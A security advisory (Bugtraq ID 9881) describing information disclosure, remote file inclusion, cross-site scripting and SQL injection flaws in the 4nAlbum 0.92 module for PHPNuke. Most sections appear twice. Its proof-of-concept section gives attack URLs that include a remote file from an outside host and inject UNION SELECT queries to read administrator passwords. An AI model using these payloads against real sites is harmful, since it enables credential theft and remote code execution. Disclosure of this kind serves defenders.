WarpSpeed 4nAlbum Module For PHPNuke Multiple Vulnerabilities
BID:9881
Info
WarpSpeed 4nAlbum Module For PHPNuke Multiple Vulnerabilities
| Bugtraq ID: | 9881 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Mar 15 2004 12:00AM |
| Updated: | Mar 15 2004 12:00AM |
| Credit: | Disclosure of these issues is credited to Janek Vind <[email protected]>. |
| Vulnerable: |
WarpSpeed 4nAlbum Module 0.92 |
| Not Vulnerable: | |
Discussion
WarpSpeed 4nAlbum Module For PHPNuke Multiple Vulnerabilities
It has been reported that 4nAlbum is prone to multiple vulnerabilities. These issues are primarily due to a failure of the module to validate user input.
There is an information disclosure issue with the 'displaycategory.php' script.
There is a remote file inclusion vulnerability in the 'displaycategory.php' script.
A cross-site scripting vulnerability in the 'nmimage.php' script has also been reported.
Finally an SQL injection vulnerability has been reported. This issue may be leveraged through the 'modules.php' script of phpNuke while requesting the 'index' file of the 4nAlbum module.
This issue has been reported to affect version 0.92 of the software. It is quite likely that other versions are affected as well.
It has been reported that 4nAlbum is prone to multiple vulnerabilities. These issues are primarily due to a failure of the module to validate user input.
There is an information disclosure issue with the 'displaycategory.php' script.
There is a remote file inclusion vulnerability in the 'displaycategory.php' script.
A cross-site scripting vulnerability in the 'nmimage.php' script has also been reported.
Finally an SQL injection vulnerability has been reported. This issue may be leveraged through the 'modules.php' script of phpNuke while requesting the 'index' file of the 4nAlbum module.
This issue has been reported to affect version 0.92 of the software. It is quite likely that other versions are affected as well.
Exploit / POC
WarpSpeed 4nAlbum Module For PHPNuke Multiple Vulnerabilities
The following proof of concept was provided:
To leverage the remote file include:
http://www.example.com/phpNukeDirectory/modules/4nalbum/public/displaycategory.php?basepath=http://www.example.net/
Where the attacker would have to have malicious code in the script 'http://www.example.net/public/imageFunctions.php'
To leverage the cross-site scripting issue:
http://www.example.com/phpNukeDirectory/modules/4nalbum/public/nmimage.php?z=[xss code here]
To leverage the SQL injection issue:
http://www.example.com/phpNukeDirectory/modules.php?op=modload&name=4nAlbum&file=index&do=showgall&gid=-99%20UNION%20SELECT%20null,null,pwd,2,null,null,null%20FROM%20nuke_authors/*
http://www.example.com/phpNukeDirectory/modules.php?op=modload&name=4nAlbum&file=index&do=showgall&gid=-99%20UNION%20SELECT%20null,null,aid,2,null,null,null%20FROM%20nuke_authors/*
The following proof of concept was provided:
To leverage the remote file include:
http://www.example.com/phpNukeDirectory/modules/4nalbum/public/displaycategory.php?basepath=http://www.example.net/
Where the attacker would have to have malicious code in the script 'http://www.example.net/public/imageFunctions.php'
To leverage the cross-site scripting issue:
http://www.example.com/phpNukeDirectory/modules/4nalbum/public/nmimage.php?z=[xss code here]
To leverage the SQL injection issue:
http://www.example.com/phpNukeDirectory/modules.php?op=modload&name=4nAlbum&file=index&do=showgall&gid=-99%20UNION%20SELECT%20null,null,pwd,2,null,null,null%20FROM%20nuke_authors/*
http://www.example.com/phpNukeDirectory/modules.php?op=modload&name=4nAlbum&file=index&do=showgall&gid=-99%20UNION%20SELECT%20null,null,aid,2,null,null,null%20FROM%20nuke_authors/*
Solution / Fix
WarpSpeed 4nAlbum Module For PHPNuke Multiple Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
WarpSpeed 4nAlbum Module For PHPNuke Multiple Vulnerabilities
References:
References:
- Vendor Homepage (WarpSpeed)
- [waraxe-2004-SA#006 - Multiple vulnerabilities in 4nalbum module for PhpNuke] (Janek Vind